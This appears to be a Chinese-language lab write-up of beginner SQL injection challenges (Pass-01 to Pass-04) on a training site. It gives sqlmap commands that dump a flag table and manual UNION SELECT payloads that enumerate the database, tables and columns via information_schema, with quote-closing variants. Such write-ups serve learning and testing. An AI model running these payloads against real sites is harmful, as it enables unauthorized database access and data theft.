1. 程式人生 > 其它 >sql 顯錯基礎注入

sql 顯錯基礎注入

所用方法

sqlmap跑,get請求

通過之前的經驗,知道了資料庫是error,表是error_flag

sqlmap.py -u "xxx.xxx.xx?id=" --colums -T 表名 -D 當前資料庫名   檢視列名及型別
sqlmap.py -u http://injectx1.lab.aqlab.cn:81/Pass-02/index.php?id=1 --column -T error_flag error
sqlmap.py -u "xxx.xxx.xx?id="  --dump -C 列裡面的內容的(多個用逗號分隔開) -T 表名 -D 當前資料庫的database   檢視列內容
sqlmap.py -u http://injectx1.lab.aqlab.cn:81/Pass-02/index.php?id=1 --dump -C Id,flag -T error_flag error

嘗試用穿山甲,但是我的毀了...23333

PASS1

判斷有無注入

and 1=1
and 1=2

沒有閉合的要求,先通過order by 確定列數

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 4

到4顯示報錯,然後確定有3列

判斷顯示位

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,3

檢視資料庫

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,database(),3

error

查表名

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='error'

發現error_flag

查列名

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema='error' and table_name='error_flag'

發現列ld

檢視列內容

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,Id,flag from error_flag

emmm,error_flag裡踩一下然後猜得

PASS2

select from user where id='1'

先對前面的數字進行閉合,再對要構造的payload進行連結上的閉合

對id數字進行閉合,加一個單引號

然後對payload連結上加--+對後面的進行閉合

說明有3列

然後再判斷回顯幾個

http://injectx1.lab.aqlab.cn:81/Pass-02/index.php?id=1' and 1=2 union select 1,2,3--+

發現2、3回顯

PASS3

對稱閉合

http://injectx1.lab.aqlab.cn:81/Pass-03/index.php?id=1') order by 3--+

PASS4

http://injectx1.lab.aqlab.cn:81/Pass-04/index.php?id=1")  order by 3 --+

對稱閉合

別人都在不停的努力,自己又怎麼會停